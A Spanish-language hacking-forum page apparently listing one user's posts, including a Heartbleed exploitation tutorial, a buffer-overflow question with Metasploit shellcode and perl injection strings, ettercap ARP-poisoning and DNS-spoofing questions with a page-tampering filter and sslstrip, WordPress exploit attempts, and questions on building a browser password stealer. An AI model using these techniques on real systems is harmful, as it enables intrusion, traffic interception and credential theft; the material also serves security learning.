elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
1  Seguridad Informática / Hacking / [Tutorial] Prueba de concepto con el HeartBleed en: 1 Mayo 2014, 17:33 pm
Buenas a todos, hoy he escrito un artículo en el que explico como realizar un ataque aprovechándonos de la archi-conocida CVE-2014-0160.

Para el que no lo sepa, el pasado 1 de Abril, fue descubierta esta vulnerabilidad de carácter crítico y es que muchos servidores muy importantes se han visto directamente afectados por esta, como Facebook, Google, Instagram, Tumblr... así como otras muchas muy importantes.

Esta vulnerabilidad permite al atacante mal-intencionado, revelar credenciales que hayan sido procesados por la capa del SSL vulnerable, permitiendo así que los datos sean revelados sin necesidad de asaltar el sistema.

Hoy te vamos a enseñar como funciona, demostrando la falla de seguridad en openSSL con Heartbleed, para que veas con tus propios ojos, lo importante de este fallo de seguridad.

En primer lugar, establezcamos el "scenario" de nuestro "ataque". Nos encontramos contra un servidor que hace uso de openSSL versión 1.0.1f, que para los mas curiosos puede ser descargado desde su web oficial para experimentar, con el siguiente comando:

Código:
root@hacklab:~# wget http://www.openssl.org/source/openssl-1.0.1f.tar.gz
--2014-05-01 11:51:01--  http://www.openssl.org/source/openssl-1.0.1f.tar.gz
Resolviendo www.openssl.org (www.openssl.org)... 185.9.166.106
Conectando con www.openssl.org (www.openssl.org)[185.9.166.106]:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 4509212 (4,3M) [application/x-gzip]
Grabando a: “openssl-1.0.1f.tar.gz”

100%[======================================>] 4.509.212   1,01M/s   en 4,8s   

2014-05-01 11:51:07 (913 KB/s) - “openssl-1.0.1f.tar.gz” guardado [4509212/4509212]
Una vez tenemos claro el escenario, vamos a ver que clase de fingerprint debemos encontrar, para obtener un vector potencial de ataque, pues los chicos de nmap ya se han currado un script para hacerle un fingerprint y detectar si el servidor posee una versión vulnerable. Para instalarlos vamos a proceder con los siguientes comandos:

Código:
root@hacklab:~# cd /usr/share/nmap/scripts/
root@hacklab:/usr/share/nmap/scripts# wget https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
--2014-05-01 11:56:34--  https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse
Resolviendo svn.nmap.org (svn.nmap.org)... 173.255.243.189
Conectando con svn.nmap.org (svn.nmap.org)[173.255.243.189]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 8069 (7,9K) [text/plain]
Grabando a: “ssl-heartbleed.nse”

100%[======================================>] 8.069       --.-K/s   en 0,006s 

2014-05-01 11:56:36 (1,25 MB/s) - “ssl-heartbleed.nse” guardado [8069/8069]

root@hacklab:/usr/share/nmap/scripts# cd ..
root@hacklab:/usr/share/nmap# cd nselib/
root@hacklab:/usr/share/nmap/nselib# wget https://svn.nmap.org/nmap/nselib/tls.lua
--2014-05-01 11:57:17--  https://svn.nmap.org/nmap/nselib/tls.lua
Resolviendo svn.nmap.org (svn.nmap.org)... 173.255.243.189
Conectando con svn.nmap.org (svn.nmap.org)[173.255.243.189]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 38605 (38K) [text/plain]
Grabando a: “tls.lua”

100%[======================================>] 38.605       147K/s   en 0,3s   

2014-05-01 11:57:19 (147 KB/s) - “tls.lua” guardado [38605/38605]
Una vez instalado, procedemos a lanzar el escaneo correspondiente, con el siguiente comando:

Código:
root@hacklab:~# nmap -sV -p 443 --script=ssl-heartbleed.nse xxxx.cat
Nmap scan report for xxxxxx (xxx.xxx.xxx.xxx)
Host is up (0.0059s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE     VERSION
443/tcp  open  ssl         OpenSSL (SSLv3)
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
Service Info: Host: xxx; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Para nosotros, esto es una victoria!

Vamos a usar ahora alguno de los famosos PoC (Proof of concept para los lusers :D ), que podemos encontrar en alguno de nuestros amados repositorios de vulnerabilidades como exploitDB. Para descargarlo, tan solo tenemos que acudir al siguiente enlace y descargar el script o copiar el código en un fichero con extensión .py y darle permisos de ejecución para lanzarlo con el intérprete. Sin más, el enlace:

http://www.exploit-db.com/exploits/32764/

Para ejecutar el código, vamos a lanzar el siguiente comando:

Código:
root@hacklab:~# python 32764.py xxxxx.cat -p 443
...
WARNING: server returned more data than it should - server is vulnerable!
Qué acaba de hacer este exploit? Vamos a explicarlo, puesto que es muy importante saber por qué falla.

Vamos a considerar la conexión a la layer del SSL como un diálogo entre cliente y servidor con SSL, que podría ejemplificarse así:

-Servidor, estás ahí? Si es así, devuélveme la palabra "Undersecured" cifrada, de 12 letras.

-Andoni quiere "Undersecured". Toma Undersecured.


Sencillo verdad? Le pedimos contenido "seguro" al servidor que supuestamente no podrá ser esnifado, puesto que viene cifrado. Nuestro fallo viene dado por hacerle creer al servidor que unos credenciales son nuestros pidiendo más información de la que nos corresponde:

-Servidor, estás ahí? Si es así devuélveme la palabra "membrillo" cifrada, de 520 letras.

-Andoni quiere "membrillo". Toma "membrillo pepe contraseña123 loko94 contraseñachulikah morenika92 adoroelmembrillo..."


Obteniendo así del servidor, credenciales que fueron securizados con anterioridad permitiéndonos verlos en plain-text disponibles para ser usado con el consiguiente robo de información y credenciales.

Como ampliación, y tal como presume el genial Chema Alonso en su blog, este ataque podría automatizarse de forma muy sencilla haciendo uso de Python o Bash Script,haciendo que dicho exploit se vaya lanzando, por ejemplo cada 10 segundos y así atrapar toda la información que los usuarios descuidados vayan introduciendo, creyendo que una layer SSL les hace inmunes.

Recordad que este ataque, no es mas que una simulación realizada con mis propios servidor y que ni yo ni nadie se hace responsable del mal uso o el uso mal intencionado que se le pueda dar a esta información.

Sed responsables and keep on hacking!

Si os ha gustado, sería genial que compartieseis el enlace a mi página web y por supuesto, que me mandéis todas vuestras peticiones/críticas/sugerencias/agradecimientos.

http://www.undersecured.com/blog/demostrando-la-falla-de-seguridad-en-openssl-con-heartbleed/

Un saludo!
2  Seguridad Informática / Bugs y Exploits / Problema, return address buffer overflow (Cómo calcular la dirección del buffer? en: 22 Marzo 2014, 18:16 pm
Buenas a todos, compañeros foreros, estoy trabajando este programa, al cual intento inyectar una shellcode:
Código
  1. #include <stdlib.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5.  
  6. void premio() {
  7. printf("El flujo de código ha sido modificado.\n");
  8. }
  9.  
  10. int main(int argc, char **argv) {
  11. char buffer[64];
  12. gets(buffer);
  13. }
  14.  

Y genero shellcode con el siguiente comando:

Código:
root@debci-lab:/usr/share/metasploit-framework/tools# msfpayload linux/x86/exec CMD="/sbin/reboot" P
# linux/x86/exec - 48 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/sbin/reboot
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00" .
"\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00" .
"\x57\x53\x89\xe1\xcd\x80";

Y usando el pattern match de msf, me dice que la return address está en un offset de 76 a partir del buffer. Por tanto hago lo siguiente:

[28 NOPS] + [48 PAYLOAD] + [4 RTN ADDRESS]

Para calcular la RTN address, he hecho lo siguiente (la dirección de mi buffer):
Código:
gdb poc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/testOverflow/poc...done.
(gdb) break main
Breakpoint 1 at 0x8048469: file test.c, line 12.
(gdb) run
Starting program: /root/testOverflow/poc

Breakpoint 1, main (argc=1, argv=0xbffff584) at test.c:12
12 gets(buffer);
(gdb) print &buffer
1 = (char (*)[64]) 0xbffff490
(gdb) quit
A debugging session is active.

Inferior 1 [process 10092] will be killed.

Quit anyway? (y or n) y

Por tanto me queda así el buffer que mando, sabiendo que la address del buffer es 0xbffff490:

Código:
perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80". "\x90"x28 . "\x90\xf4\xff\bf"'
Pero solamente obtengo un "Violación del segmento".

Para asegurarme que el buffer está bien calculado en tamaño, hago lo siguiente:
Código:
perl -e 'print "\x90"x28 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80" . "\x4c\x84\x04\x08"' | ./poc
El flujo de código ha sido modificado.
Violación de segmento

Sabiendo que la dirección de premio() es 0x0804844c, que he conseguido gracias a objdump.

Qué estoy haciendo mal? Abordando el problema usando la ADDR de premio(), llego a la conclusión de que la dirección de salto es incorrecta o que el payload está mal generado?

Estoy cómo loco y no sé que diablos me pasa...
3  Programación / Java / MOVIDO: JAVA en: 3 Febrero 2014, 00:43 am
El tema ha sido movido a Programación General.

http://foro.elhacker.net/index.php?topic=407586.0
4  Seguridad Informática / Criptografía / Sobre TripleDES y el signons.sqlite de firefox en: 2 Septiembre 2013, 13:49 pm
Buenas a todos!
Alguien tiene algo de información sobre como está cifrado el fichero de contraseñas de firefox, el famoso signons.sqlite?

Leo y leo pero no hay nada explícito y habiendo probado ya varias cosas, no logro descifrar ninguna contraseña.

Se supone que hay una masterkey en key3.db, pero yo no la fijé. Alguien puede arrojar luz al asunto?

Saludos
5  Programación / Java / MOVIDO: Java no me funciona en: 14 Julio 2013, 12:16 pm
El tema ha sido movido a Windows.

http://foro.elhacker.net/index.php?topic=394348.0
6  Sistemas Operativos / Unix/Unix-Like / Alguien tiene Luxur 0.0.7? en: 26 Junio 2013, 22:17 pm
Hola amigos foreros!

Alguien tiene para pasarme el source de luxur 0.0.7? La página web está caída y el que mantiene el proyecto, me ha dicho que lo pida por aquí porque él no conserva nada...

Sería posible que algún alma caritativa me lo pasase?

Un saludo y gracias de antemano.
7  Seguridad Informática / Hacking / Chanchullos, dudas y comentarios respecto al ARP Poisoning, DNS Spoofing... en: 21 Abril 2013, 23:09 pm
Buenas noches foreros!
Hoy vengo a plantearos unas cuantas dudas y unos cuantos comentarios sobre ciertos métodos y herramientas como el DNS Spoofing y el ARP Poisoning, a su vez también sobre Ettercap o la suite dsniff.

Debci's Tertulia


En primer lugar, unas cuantas dudas básicas que me rondan la cabeza (las enumero para facilitar su respuesta :D ):

1-En ocasiones tengo problema para hacer un ataque Mitm, porque por algún motivo, no logro por ejemplo redireccionar mediante DNS Spoofing a la víctima a mi web maliciosa. Con ettercap, una vez todo el proceso esta funcionando, ejecuto el plugin chk_poison y este me dice que el envenenamiento ARP está funcionando y además, en mi própia wlan, me he permitido el lujo de comprobar las tablas mediante:
Código:
arp -a
Y puedo observar como mi dirección física se asocia a la del enrutador, es decir que en principio esta funcionando.
Sin embargo al ejecutar el plugin de dns spoof (modificando previamente el fichero etter.dns para hacer las correspondientes redireciones), observo que el equipo víctima se queda sin conexión a internet, es decir, sigue autentificado, pero su navegador no carga ninguna página (cabe mencionar, que mediante el dns spoof estoy redirecionando todas las páginas, marcadas mediante el caracter '*' a mi própio webserver).El webserver malicioso funciona correctamente puesto, que he comprobado que se puede acceder a él desde la máquina víctima y logra infectar como es debido. Que puede estar ocurriendo? Me pasa en muchas redes, pero en concreto en la mía, es quizás por ettercap? Es quizás por el modelo de mi tarjeta de red (creo que soporta modo monitor)?

2-Tras trabajar un poco con otras suite's para sniffing y ataques Mitm diferentes a Ettercap, como por ejemplo dsniff y Wireshark, se me aparecen dos dudas:
2.1-Si consigo hacer funcionar el ARP poison de ettercap, puedo sniffar o hacer el dns spoof con otra suite? supongo que sí no?
2.2-Cuando analizo las trazas de paquetes con wireshark, es dificil distinguir tanta información, se que tiene un completo sistema de filtros, que ya   he tenido el placer de usar en várias ocasiones. Que se supone que debería observar ante un envenenamiento ARP? Que protocolo me lo muestra? ARP? Cuando? Veo muchos paquetes ARP durante el ataque.

3-Exactamente, cuando seleciono en Ettercap o Dsniff las IP's de la gateway y del cliente al que quiero atacar, a que Target (Target 1 o Target 2 según la nomenclatura del programa), corresponde cada una? Lo digo porque en la mayoría de guías, veo que hace seleccionar todos los clientes/IP's de la lan en ambas Targets y quería aclararme al respecto, ya sea que de igual o que de una manera u otra se consigan resultados distintos.

4-Tengo varios filtros para Ettercap preprogramados o sacados de alguna guía tutorial, en concreto uno, que me trae de cabeza, el cual me dispongo a mostraros:
Código:
 
############################################################################
#                                                                          #
#  Jolly Pwned -- ig.filter -- filter source file                          #
#                                                                          #
#  By Irongeek. based on code from ALoR & NaGA                             #
#  Along with some help from Kev and jon.dmml                              #
#  http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833              #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
   msg("Filter Ran.\n");
}
Hace un par de días, en mi casa, me puse a probarlo, como ya he comentado, suponiendo que el ARP Poisoning funcionaba a la perfección y el resto de historias, correctas. Para mi sorpresa, el filtro arrojaba muchos "zapped Accept-Encoding", por lo que entiendo que había sustituido en la cabecera por "Accept-Rubbish!", pero esto me resultaba de poca utilidad, puesto que lo que yo quería era modificar las imagenes o tan solo algo visible. En algunas ocasiones, salía "Filter ran", pero supuestamente afectaba a otro dispositivo de la red (digo supuestamente porque en mi casa somos 5, con móbiles, tablets, mas pc's, consolas), pero no pude determinar dónde. Supongo que funcionó a medias.
La cosa es que yo cargaba alguna página y saltaban los zap's del primer filtro, y por mas imágenes que había no las sustituia y me aseguré de que en las páginas que visitaba existiesen las tags que han de ser substituidas. Debo suponer entonces que es cuestión de equipos? De páginas? De navegadores? O simplemente el ataque no funcionó como debiere?
Intenté buscar también con Wireshark, pero no sabía ni por donde empezar. Puedo ver en los paquetes el código html que me remite el servidor? Yo no lo consigo, por ignorante, por supuesto.

5-Configuración requerida:
Puse el ip_forwading a 1, se necesita algo mas?

6-Tendré mas posibilidades de que mi ataque sea mas certero, si me conecto mediante un enlace físico (el cable de toda la vida) envezde mediante la wlan?

7-He pensado que quizás los filtros que no funcionaban fuesen porque visitase páginas de tráfico seguro (ssl-https), pero visité muchas (o todas) sin ninguna protección. Ssltrip, parece muy sencillo de usar, tanto que no se si lo estoy haciendo correctamente :O
Código:
sslstrip -w micaptura.cap
Y una vez en este, en principio el tráfico ssl ya será legible, pero... como busco entre tanta morralla información de valor, como credenciales?

Eso es todo por esta noche, se que es mucho para contestar, pero yo agradezco de ante mano que me hayáis leído.

Un saludo y un abrazo para todos!

8  Seguridad Informática / Nivel Web / Problemas explotando un Worpress en: 20 Abril 2013, 15:41 pm
Hola amigos. Estoy auditando mi servidor, donde tenía instalado un wordpress, que para mi sorpresa ha sido vulnerable a 2 explots distintos, que os listo aquí y os comento el problema:

1-http://packetstormsecurity.com/files/113254
Simplemente, intento recrear la petición que sugieren en el paper con la burpsuite y algo no funciona como debiere. No estoy seguro de si se puede hacer sin tener permisos de administración (vaya cosa no?).Obtengo la siguiente respuesta:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Request header field is missing ':' separator.<br />
<pre>
wp-settings-time-1=1335371272; wordpress_test_cookie=WP+Cookie+check;</pre>
</p>
</body></html>

SI debo poseer una cookie de admin para hacerlo... que utilidad tiene?

2-http://www.exploit-db.com/exploits/18791/
Tengo que secuestrar un token? No se exactamente como funciona, he estado leyendo y creo que necesito igual permisos de admin sobre el blog.

Alguien puede arrojarme luz sobre el asunto?

Saludos :)
9  Programación / Programación General / Problema con regexp (Parseando HTML) en: 6 Marzo 2013, 17:02 pm
Hola amigos :)

Os traigo una duda que tengo con la librería regexp de Java, mas en concreto, con las expresiones que esta debe buscar a partir del patrón de la cadena.

Tengo varias strings del tipo:
Código
  1. <div class="plist-manufacturer">
  2. <a href="http:\\linkcualquiera">Nombre</a>
  3. </div>

Y lo que necesito es extraer el dato que ocupa el lugar de "Nombre".
Para ello he empezado a trabajar con regexp, pero no logro dar con la expresión que me permita obtener dicho dato:
Código
  1.        Pattern patronAutores = Pattern.compile("<a\\b[^>]*href=\"[^>]*>(.*?)</a>");
  2.        Matcher encontrado = patronAutores.matcher(stringToParse);
  3.        return encontrado.group(1);
  4.  

Me devuelve que no ha sido encontrado nada...
Alguien tiene idea de cómo podría hacerlo?

Saludos
10  Seguridad Informática / Análisis y Diseño de Malware / Problemas implementando un stealer... en: 9 Febrero 2013, 01:42 am
Hola amigos del foro!

Estoy investigando alguna forma de obtener las contraseñas guardadas por nuestros navegadores.
He estado investigando y aparentemente Mozilla Firefox y Google Chrome guardan sus contraseñas en un supuesto archivo base de datos del tipo SQLite.
He intentado abrir dicho archivo de chrome y no hay manera de leer nada.
Alguien tiene información al respecto? No encuentro nada por ningún lado, ni siquiera se si es correcto que se guarden en dichos archivos.

Alguien puede arrojar luz sobre el asunto?
Páginas: [1] 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines